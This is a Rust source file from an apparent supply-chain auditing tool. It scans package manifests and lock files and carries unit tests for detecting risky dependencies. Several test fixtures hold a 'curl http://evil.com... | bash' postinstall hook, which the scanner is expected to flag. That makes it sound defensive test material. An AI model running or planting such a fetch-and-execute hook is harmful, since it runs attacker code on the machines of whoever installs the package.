cc_audit/scanner/
dependency.rs1use crate::error::Result;
2use crate::rules::Finding;
3use crate::scanner::{Scanner, ScannerConfig};
4use crate::{impl_content_scanner, impl_scanner_builder};
5use std::path::Path;
6use walkdir::WalkDir;
7
8const DEPENDENCY_FILES: &[&str] = &[
9 "package.json",
10 "package-lock.json",
11 "Cargo.toml",
12 "Cargo.lock",
13 "requirements.txt",
14 "pyproject.toml",
15 "poetry.lock",
16 "Pipfile",
17 "Pipfile.lock",
18 "Gemfile",
19 "Gemfile.lock",
20 "go.mod",
21 "go.sum",
22 "pom.xml",
23 "build.gradle",
24 "composer.json",
25 "composer.lock",
26];
27
28pub struct DependencyScanner {
29 config: ScannerConfig,
30}
31
32impl_scanner_builder!(DependencyScanner);
33impl_content_scanner!(DependencyScanner);
34
35impl DependencyScanner {
36 fn is_dependency_file(path: &Path) -> bool {
37 path.file_name()
38 .and_then(|name| name.to_str())
39 .map(|name| DEPENDENCY_FILES.contains(&name))
40 .unwrap_or(false)
41 }
42}
43
44impl Scanner for DependencyScanner {
45 fn scan_file(&self, path: &Path) -> Result<Vec<Finding>> {
46 let content = self.config.read_file(path)?;
47 let path_str = path.display().to_string();
48 Ok(self.config.check_content(&content, &path_str))
49 }
50
51 fn scan_directory(&self, dir: &Path) -> Result<Vec<Finding>> {
52 let mut findings = Vec::new();
53
54 for entry in WalkDir::new(dir)
55 .into_iter()
56 .filter_map(|e| e.ok())
57 .filter(|e| e.path().is_file())
58 {
59 let path = entry.path();
60 if Self::is_dependency_file(path)
61 && let Ok(file_findings) = self.scan_file(path)
62 {
63 findings.extend(file_findings);
64 }
65 }
66
67 Ok(findings)
68 }
69}
70
71#[cfg(test)]
72mod tests {
73 use super::*;
74 use crate::scanner::ContentScanner;
75 use std::fs;
76 use tempfile::TempDir;
77
78 fn create_file(dir: &TempDir, name: &str, content: &str) -> std::path::PathBuf {
79 let path = dir.path().join(name);
80 fs::write(&path, content).unwrap();
81 path
82 }
83
84 #[test]
85 fn test_scan_clean_package_json() {
86 let dir = TempDir::new().unwrap();
87 create_file(
88 &dir,
89 "package.json",
90 r#"{
91 "name": "clean-package",
92 "version": "1.0.0",
93 "dependencies": {
94 "express": "^4.18.0"
95 }
96 }"#,
97 );
98
99 let scanner = DependencyScanner::new();
100 let findings = scanner.scan_path(dir.path()).unwrap();
101
102 assert!(
103 findings.is_empty(),
104 "Clean package.json should have no findings"
105 );
106 }
107
108 #[test]
109 fn test_detect_dangerous_postinstall() {
110 let dir = TempDir::new().unwrap();
111 create_file(
112 &dir,
113 "package.json",
114 r#"{
115 "name": "malicious-package",
116 "scripts": {
117 "postinstall": "curl http://evil.com/script.sh | bash"
118 }
119 }"#,
120 );
121
122 let scanner = DependencyScanner::new();
123 let findings = scanner.scan_path(dir.path()).unwrap();
124
125 assert!(
126 findings
127 .iter()
128 .any(|f| f.id == "DEP-001" || f.id == "SC-001"),
129 "Should detect dangerous postinstall script"
130 );
131 }
132
133 #[test]
134 fn test_detect_git_dependency() {
135 let dir = TempDir::new().unwrap();
136 create_file(
137 &dir,
138 "package.json",
139 r#"{
140 "name": "package-with-git-dep",
141 "dependencies": {
142 "my-lib": "git://github.com/user/repo"
143 }
144 }"#,
145 );
146
147 let scanner = DependencyScanner::new();
148 let findings = scanner.scan_path(dir.path()).unwrap();
149
150 assert!(
151 findings.iter().any(|f| f.id == "DEP-002"),
152 "Should detect git:// dependency"
153 );
154 }
155
156 #[test]
157 fn test_detect_wildcard_version() {
158 let dir = TempDir::new().unwrap();
159 create_file(
160 &dir,
161 "package.json",
162 r#"{
163 "name": "package-with-wildcard",
164 "dependencies": {
165 "dangerous-lib": "*"
166 }
167 }"#,
168 );
169
170 let scanner = DependencyScanner::new();
171 let findings = scanner.scan_path(dir.path()).unwrap();
172
173 assert!(
174 findings.iter().any(|f| f.id == "DEP-003"),
175 "Should detect wildcard version"
176 );
177 }
178
179 #[test]
180 fn test_detect_http_dependency() {
181 let dir = TempDir::new().unwrap();
182 create_file(
183 &dir,
184 "package.json",
185 r#"{
186 "name": "package-with-http",
187 "dependencies": {
188 "insecure-lib": "http://example.com/package.tar.gz"
189 }
190 }"#,
191 );
192
193 let scanner = DependencyScanner::new();
194 let findings = scanner.scan_path(dir.path()).unwrap();
195
196 assert!(
197 findings
198 .iter()
199 .any(|f| f.id == "DEP-004" || f.id == "DEP-005"),
200 "Should detect HTTP/tarball dependency"
201 );
202 }
203
204 #[test]
205 fn test_scan_cargo_toml() {
206 let dir = TempDir::new().unwrap();
207 create_file(
208 &dir,
209 "Cargo.toml",
210 r#"
211[package]
212name = "risky-crate"
213version = "0.1.0"
214
215[dependencies]
216some-lib = { git = "https://github.com/user/repo" }
217"#,
218 );
219
220 let scanner = DependencyScanner::new();
221 let findings = scanner.scan_path(dir.path()).unwrap();
222
223 assert!(
224 findings.iter().any(|f| f.id == "DEP-002"),
225 "Should detect git dependency in Cargo.toml"
226 );
227 }
228
229 #[test]
230 fn test_scan_requirements_txt() {
231 let dir = TempDir::new().unwrap();
232 create_file(
233 &dir,
234 "requirements.txt",
235 "git+https://github.com/user/repo.git\nrequests==2.28.0\n",
236 );
237
238 let scanner = DependencyScanner::new();
239 let findings = scanner.scan_path(dir.path()).unwrap();
240
241 assert!(
242 findings.iter().any(|f| f.id == "DEP-002"),
243 "Should detect git+ dependency in requirements.txt"
244 );
245 }
246
247 #[test]
248 fn test_ignore_non_dependency_files() {
249 let dir = TempDir::new().unwrap();
250 create_file(&dir, "README.md", "curl http://evil.com | bash");
251 create_file(&dir, "config.json", r#"{"url": "http://evil.com"}"#);
252
253 let scanner = DependencyScanner::new();
254 let findings = scanner.scan_path(dir.path()).unwrap();
255
256 assert!(findings.is_empty(), "Should not scan non-dependency files");
257 }
258
259 #[test]
260 fn test_scan_nested_dependency_files() {
261 let dir = TempDir::new().unwrap();
262 let sub_dir = dir.path().join("subproject");
263 fs::create_dir(&sub_dir).unwrap();
264 fs::write(
265 sub_dir.join("package.json"),
266 r#"{"dependencies": {"evil": "*"}}"#,
267 )
268 .unwrap();
269
270 let scanner = DependencyScanner::new();
271 let findings = scanner.scan_path(dir.path()).unwrap();
272
273 assert!(
274 findings.iter().any(|f| f.id == "DEP-003"),
275 "Should scan nested dependency files"
276 );
277 }
278
279 #[test]
280 fn test_scan_single_file() {
281 let dir = TempDir::new().unwrap();
282 let file_path = create_file(
283 &dir,
284 "package.json",
285 r#"{"dependencies": {"lib": "latest"}}"#,
286 );
287
288 let scanner = DependencyScanner::new();
289 let findings = scanner.scan_file(&file_path).unwrap();
290
291 assert!(
292 findings.iter().any(|f| f.id == "DEP-003"),
293 "Should detect 'latest' version"
294 );
295 }
296
297 #[test]
298 fn test_is_dependency_file() {
299 assert!(DependencyScanner::is_dependency_file(Path::new(
300 "package.json"
301 )));
302 assert!(DependencyScanner::is_dependency_file(Path::new(
303 "Cargo.toml"
304 )));
305 assert!(DependencyScanner::is_dependency_file(Path::new(
306 "requirements.txt"
307 )));
308 assert!(DependencyScanner::is_dependency_file(Path::new(
309 "pyproject.toml"
310 )));
311 assert!(DependencyScanner::is_dependency_file(Path::new("Gemfile")));
312 assert!(DependencyScanner::is_dependency_file(Path::new("go.mod")));
313 assert!(DependencyScanner::is_dependency_file(Path::new("pom.xml")));
314 assert!(DependencyScanner::is_dependency_file(Path::new(
315 "composer.json"
316 )));
317
318 assert!(!DependencyScanner::is_dependency_file(Path::new(
319 "README.md"
320 )));
321 assert!(!DependencyScanner::is_dependency_file(Path::new(
322 "config.json"
323 )));
324 assert!(!DependencyScanner::is_dependency_file(Path::new("main.rs")));
325 }
326
327 #[test]
328 fn test_default_trait() {
329 let scanner = DependencyScanner::default();
330 let dir = TempDir::new().unwrap();
331 let findings = scanner.scan_path(dir.path()).unwrap();
332 assert!(findings.is_empty());
333 }
334
335 #[test]
336 fn test_scan_content_directly() {
337 let scanner = DependencyScanner::new();
338 let content = r#"{"scripts": {"postinstall": "curl http://evil.com | bash"}}"#;
339 let findings = scanner.scan_content(content, "package.json").unwrap();
340 assert!(!findings.is_empty());
341 }
342
343 #[test]
344 fn test_scan_nonexistent_path() {
345 let scanner = DependencyScanner::new();
346 let result = scanner.scan_path(Path::new("/nonexistent/path"));
347 assert!(result.is_err());
348 }
349
350 #[test]
351 fn test_with_skip_comments() {
352 let scanner = DependencyScanner::new().with_skip_comments(true);
353 let dir = TempDir::new().unwrap();
354 create_file(
355 &dir,
356 "requirements.txt",
357 "# git+https://github.com/user/repo\nrequests==2.28.0",
358 );
359
360 let findings = scanner.scan_path(dir.path()).unwrap();
361 assert!(
363 !findings.iter().any(|f| f.id == "DEP-002"),
364 "Should skip commented lines when skip_comments is true"
365 );
366 }
367
368 #[test]
369 fn test_multiple_dependency_files() {
370 let dir = TempDir::new().unwrap();
371 create_file(&dir, "package.json", r#"{"dependencies": {"a": "*"}}"#);
372 create_file(
373 &dir,
374 "Cargo.toml",
375 r#"[dependencies]\nb = { version = "*" }"#,
376 );
377
378 let scanner = DependencyScanner::new();
379 let findings = scanner.scan_path(dir.path()).unwrap();
380
381 assert!(findings.len() >= 2, "Should find issues in both files");
382 }
383}